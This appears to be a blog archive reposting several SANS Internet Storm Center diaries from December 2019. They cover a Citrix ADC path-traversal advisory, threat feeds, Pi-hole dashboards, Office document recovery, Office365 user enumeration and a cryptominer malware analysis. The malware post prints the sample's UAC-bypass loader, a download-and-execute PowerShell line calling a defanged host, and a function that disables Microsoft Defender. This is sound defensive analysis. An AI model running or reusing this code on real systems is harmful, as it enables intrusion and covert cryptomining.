Blog

Archive for December, 2019

Some Thoughts About the Critical Citrix ADC/Gateway Vulnerability (CVE-2019-19781), (Tue, Dec 31st)

[we will have a special webcast about this topic at 1 PM ET today. See https://i5c.us/citrix ]

About two weeks ago, on December 17th, Citrix released a workaround for a critical vulnerability in its Application Delivery Controller (ADC) and Gateway products [1]. These are products that Citrix acquired from NetScaler in 2005, and the NetScaler name is still commonly used.

    Last week, on December 23rd, Positive Technologies released a blog post with additional information, emphasizing the impact of the vulnerability [2]. This blog post affirmed that the vulnerability is critical and needs to be addressed quickly. CVE-2019-19781 is used to track this vulnerability.

    Due to the urgency of this problem, and holidays affecting about 70% of the globe these two weeks, we will have a special webcast to discuss this vulnerability.

    Luckily, there is no public “Proof of Concept (PoC)” exploit available yet, and we have not detected any exploitation of the vulnerability yet. You may have a bit more time to apply the workaround published by Citrix. During a quick review of the Citrix ADC code this week, we found several weaknesses and were able to exploit them to at least upload files to the system. This did not require any special tools or advanced skills. A determined individual should be able to find a full exploit in about a week. The code, as well as the system configuration, showed several obvious weaknesses. This is unlikely the last time you will have to patch these devices. 

    According to Citrix’s advisory, exploitation of the vulnerability does not require authentication and allows arbitrary code execution. The affected products can be deployed in a large number of configurations, and not all configurations may be vulnerable. But neither Citrix nor Positive Technologies provide any guidance to identify vulnerable configurations. Most likely, configurations that expose the Citrix web interface to outside users are vulnerable. This would affect the use of Citrix Gateway as an SSLVPN. Still, it could very well be used in other scenarios, for example, if Citrix ADC is used to restrict access to internal APIs or web applications.

    The best “hint” as to the nature of the flaw is the workaround Citrix published [3]:

add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS("/vpns/") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS("/../"))" respondwith403

The rule first checks if the URL contains the string “/vpns/.” Next, it checks if the user is either not connected to the SSLVPN, or if the URLs include the string “/../”. The “decode_using_text_mode” overwrites the default URL encoding. This likely indicates that the ‘/’ and ‘.’ characters can not be URL encoded to make the exploit work. It is important to note that the “/vpns/” string alone is blocked in the URL. You should not include the “/../” string if you translate this signature to other security devices.

    Citrix notes that this policy may block some valid requests as well. The “/vpns/scripts/” directory, for example, is used to serve browser plugins. Access to this directory is blocked by the suggested policy. If you are using the Citrix ADC in front of other web applications, any URLs that contain “/vpns/” are part of the patch are blocked.

    The last part (“/../”) is typical for a directory traversal vulnerability. Directory traversal vulnerabilities come in many shapes and severities. Attackers typically use them to gain access to restricted resources, and the impact depends a lot on what resources are accessible.

A simple example (and this is NOT necessarily how it works here): A web application restricting access to the “/admin” URL can be fooled into providing access to unauthenticated users as long as they use a URL like “/somethingelse/../admin.” The URL no longer starts with “/admin,” and a web application is vulnerable if it does not parse URLs correctly. Directory traversal issues can also happen if the application executed files on the system. For example, the developer creates a “tools” directory with various scripts the user is allowed to run. The application then uses code like:

execute(“/tools/$script”)

An attacker could now supply a script like “../usr/bin/bash” to execute additional commands. This command injection vulnerability does take advantage of directory traversal.

Typically, simple “blacklists” like the one Citrix implemented here are not ideal. An attacker may be able to find alternative paths to the vulnerable script, or the attacker uses a different encoding technique to bypass the rule. At this point, we do not know enough about this vulnerability to discern if the rule is sufficient or not. Citrix has not announced any plans for an actual patch. Based on our review of the code, a patch will likely reveal sufficient details about the vulnerability to make it trivial to find an exploit. The policy was likely designed to block the exploit while revealing as little as possible about the vulnerability.

After applying the recommended policy, any attacks should be logged in the Apache access and error log. For example:

/var/log/httpaccess.log
127.0.0.2 - - [30/Dec/2019:21:05:43 +0000] "GET [EXPLOITURL] HTTP/1.1" 403 639 "-" "[USERAGENT]" "Time: 439 microsecs"

/var/log/httperror.log
[Mon Dec 30 21:06:33.317132 2019] [core:error] [pid 2499] [client 127.0.0.2:24553] AH00037: Symbolic link not allowed or link target not accessible: {file attempted to access}, referer: {referrer header (if any)}

What should you do?

  1. Apply Citrix’s workaround as soon as possible (today!)
  2. Monitor your systems for any exploit attempts. A quick “grep” for requests that contain “vpns” and “..” should tell you if there are any.
  3. Consider additional steps, for example, if you have additional security devices ahead of Citrix ADC.
  4. Monitor any abnormal activities from the Citrix ADC and Gateway, particularly from those devices towards the internal network hosts.

Even if you do not use Citrix, take a moment to check up on your other perimeter devices to make sure they are up to date. Last year has seen several critical vulnerabilities in similar devices. For example, there are still plenty of unpatched Fortinet devices out there that suffer from a path traversal vulnerability. Exploit code is readily available and has been used in the wild. The Fortinet vulnerability isn’t a “remote code execution” vulnerability, but can easily be used to retrieve privileged account credentials from the system.

[1] https://support.citrix.com/article/CTX267027
[2] https://www.ptsecurity.com/ww-en/about/news/citrix-vulnerability-allows-criminals-to-hack-networks-of-80000-companies/
[3] https://support.citrix.com/article/CTX267679
 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Miscellaneous Updates to our "Threatfeed" API, (Mon, Dec 30th)

Much of the data offered by us is available via our API [1]. A popular feature of our API is our “threat feeds.” We use them to distribute lists of IP addresses and hostnames that you may want to block. In particular, our feeds of mining pool IPs and hosts used by Shodan are popular. This weekend, I added a feed for Onyphe [2]. Onyphe is comparable to Shodan, and I do see a lot of scans from them lately, which is why I added the feed. While I was messing with the API, I also added the ability to retrieve hostnames in addition to IP addresses.

To get the Onyphe IPs, use this URL: https://isc.sans.edu/api/threatlist/onyphe
For a list of hostnames, use: https://isc.sans.edu/api/threatlisthosts/onyphe

You can get historical data by adding a start and an end date like:

https://isc.sans.edu/api/threatlisthosts/onyphe/2019-01-01/2019-31-01

For all of our API functions, you can switch the output format by adding ?json, ?php, ?txt, ?tab to the end of the URL. The last format (tab-delimited) is only available for some data that is suitable for a tab-delimited format.

Should you use these lists to block attacks? Up to you. I find there is little to be gained, but it may help you keep the noise down in your logs. Before you start to block IPs in the list, I recommend logging first for a while to help you identify false positives. We are planning on adding a lot more “API features” to make our data easier to consume. Per our “creative commons” license, you may use the data to protect your own network (commercial or not) as long as you do not resell the data. As always, the data is offered “as is.” I find the data most useful as input to a SIEM to quickly identify source IPs that are part of these scanners.

Onyphe made it reasonably easy to collect the data. Not only do they use (like Shodan) hostnames within their onyphe.io domain, but they also offer a list of IPs and networks at any of their scanner IP addresses. So once you know one of them (for example http://barker.onyphe.io/ ), all you need to do is parse the content of that page. There is, of course, no guarantee that this list is complete. There are a couple of other sites that offer data from internet-wide scans that make it quite difficult to identify their scanners. (something I am working on with the data we get from our users.)

[1] https://isc.sans.edu/api
[2] https://onyphe.io


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

ELK Dashboard for Pihole Logs, (Sun, Dec 29th)

In my last Pihole Diary, I shared a Pihole parser to collect its logs and stored them into Elastic. In this diary, I’m sharing a dashboard to visualize the Pihole DNS data. Here are some of the output from the dashboard.

Pihole Overall

Pihole Dashboard

Pihole Regex List Match

This is the output from the Blacklist for Regex and Wildcard blocking

Pihole Regex

Pihole Gravity List Match

This is the output from the Blocklists generated by Pi-hole Gravity

Pihole Gravity

The JSON dashboard file can be downloaded here.

[1] https://isc.sans.edu/diary/25582
[2] https://handlers.sans.edu/gbruneau/elk/pihole.conf
[3] https://handlers.sans.edu/gbruneau/elk/pihole_graphs.ndjson
[4] https://www.elastic.co/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Corrupt Office Documents, (Sat, Dec 28th)

My tool to analyze CFBF files, oledump.py, is not only used to analyze malicious Office documents.

Over the years, a couple of users reached out to me informing me that they were able to recover their VBA code from corrupt Word or Excel documents with my tool.

Although Word or Excel is no longer able to open/repair the corrupted document, the stream(s) with VBA code can remain intact, and parsed with oledump.py to extract the VBA source code.

When oledump.py finds streams with VBA code, but is not able to completely extract the VBA source code, an E indicator will be used to mark the stream (in stead of M/m).

Like in this example:

When this happens, option -v can not be used to extract and decompress the VBA source code:

But you can try another option, –vbadecompresscorrupt, to try a partial recover of the VBA source code:

Remark that this will not always work, it depends on the type of corruption.

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Enumerating office365 users, (Fri, Dec 27th)

I found a pretty strange request in a University Firewall being sent over and over:

Turns out this is a very cheap way to enumerate office365 users. If the X-BackEndHttpStatus header is set to 200 in the response, the user exist:

If this header is set to 302, the requested user does not exist.

This functionality is automated in the following script: https://github.com/Raikia/UhOh365.

Manuel Humberto Santander Pelaez
SANS Internet Storm Center – Handler

Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Bypassing UAC to Install a Cryptominer, (Thu, Dec 26th)

First of all, Merry Christmas to all our readers! I hope you’re enjoying the break with your family and friends! Even if everything slows down in this period, there is always malicious activity ongoing. I found a small PowerShell script that looked interesting for a quick diary. First of all, it has a VT score of 2/60[1]. It installs a cryptominer and its most interesting feature is the use of a classic technique to bypass UAC[2].

To achieve this, it uses the cmstp.exe tool and a DLL. This binary is used by the Microsoft Connection Manager Profile Installer to deploy .inf files.  It is located in C:WindowsSystem32 or C:WindowsSysWOW64 which are listed as trusted directories by AppLocker.

First, the script kills existing cmstp.exe processed running:

cmd.exe /C taskkill /IM cmstp.exe /f;

Then, it implements a function to bypass UAC by loading a malicious DLL:

function Bypass-UAC
{
    Param([Parameter(Mandatory = $true, Position = 0)][string]$Command)
    if(-not ([System.Management.Automation.PSTypeName]"CMSTPBypass").Type)
    {
        $a = $a + "";
        $a = $a + ";
        ...
        $a = $a + "";
        [Reflection.Assembly]::Load([Convert]::FromBase64String("$a")) | Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}

This technique is not new and has been borrowed by the developers from another source[3]. The loaded DLL is well-know on VT and has a decent score: 26/66[4].

This function is used to grab and launch extra PowerShell scripts:

IEX (New-Object Net.WebClient).DownloadString('hxxp://trsurl[.]com/sa/UAC_WIN_10_Run_Miner')

Multiple URLs are visited and extra code downloaded:

hxxp://trsurl[.]com/sa/UAC_WIN_10_Run_Miner
 > hxxps://hastebin[.]com/raw/odazicisiq
   > hxxp://trsurl[.]com/sa/Miner
     > hxxps://hastebin[.]com/raw/sidodoquse

The miner is a simple XMRIG with user ID: 42PkwcWLCjheUAaXy2h6CndY9DoKvv4pQ6QogCxgnFFF268ueYNb2FXiLCgQeds64jAytuaXzFTctbsujZYzUuaRVhn8Cjd. Besides the classic function to “seek & hunt” unwanted processes (AV and other competing miners), there is an interesting function used to disable Microsoft Defender:

function disable_defender{
    Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
    Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
    Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
    Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
    Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
    Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
    Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
    Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
    Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
    Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
    Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
    Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
    Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
    Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
    Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:UsersPublicLibraries -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:UsersPublicLibraries -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:ProgramDatawin32.zip -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:ProgramDatax32 -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:ProgramDatawin64.zip -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:ProgramDatax64 -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:ProgramDatax64xmrig-2.3.1-gcc-win64xmrig-2.3.1-gcc-win64xmrig-2.3.1 -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:ProgramDatax32xmrig-2.3.1-gcc-win32xmrig-2.3.1-gcc-win32xmrig-2.3.1 -ErrorAction Ignore;
    Add-MpPreference -ExclusionProcess "xmrig.exe" -ErrorAction Ignore;
    Add-MpPreference -ExclusionExtension ".exe" -ErrorAction Ignore;
}

[1] https://www.virustotal.com/gui/file/c5ec59f873fe31025703855a2406845199d2da221738d3c76daa3b9996c6cd14/detection
[2] https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
[3] https://www.who-ami.net/how-to-bypass-uac-in-newer-windows-versions/
[4] https://www.virustotal.com/gui/file/da9fc045098c3502920dee3fe65660de0049792307605f89b08361e28ce74dad/details

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Timely acquisition of network traffic evidence in the middle of an incident response procedure, (Wed, Dec 25th)

The acquisition of evidence is one of the procedures that always brings controversy in incident management. We must answer questions such as:

  • Do we have all the elements required to execute the acquisition of evidence?
  • What happens if the evidence is volatile and I don’t have the software I need to capture it in accordance with the established procedure?

In the case of network evidence, it is clear that uncaptured traffic is lost forever. Therefore, the opportunity to capture evidence is essential to be able to have the greatest amount of information to determine elements such as indicators of commitment or tactics, techniques and procedures used by the attackers.

Imagine this situation: You are reviewing a computer that is allegedly compromised and apparently the intruder is still inside. The internet went down and you cannot install a sniffer. How can you proceed to capture the evidence quickly?

The quickest solution is to use the network trace capability built inside windows. This feature uses the NDIS driver to capture packets. Let’s use powershell to perform the operations:

  • Let’s start a capture session named Example of Network trace, saving it into a file named as the local computername.etl and with a maximum size of 5 MB:

  • Now we assign the packet capture provider to the session:

  • Now we start the network capture and query the status of it:

  • When finished, we stop the capture:

We can see the capture using Microsoft Message Analyzer, which is currently deprecated and no longer available through the Microsoft Website. If you still want to download it, you can use wayback machine and the following link: https://web.archive.org/web/20191104120853/https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226

If you need to manipulate it in wireshark, you can export it to Microsoft Network Monitor (cap) format using the save as feature:

After that, you can open the cap file using wireshark:

Manuel Humberto Santander Peláez
SANS Internet Storm Center – Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail:msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 6 12345...»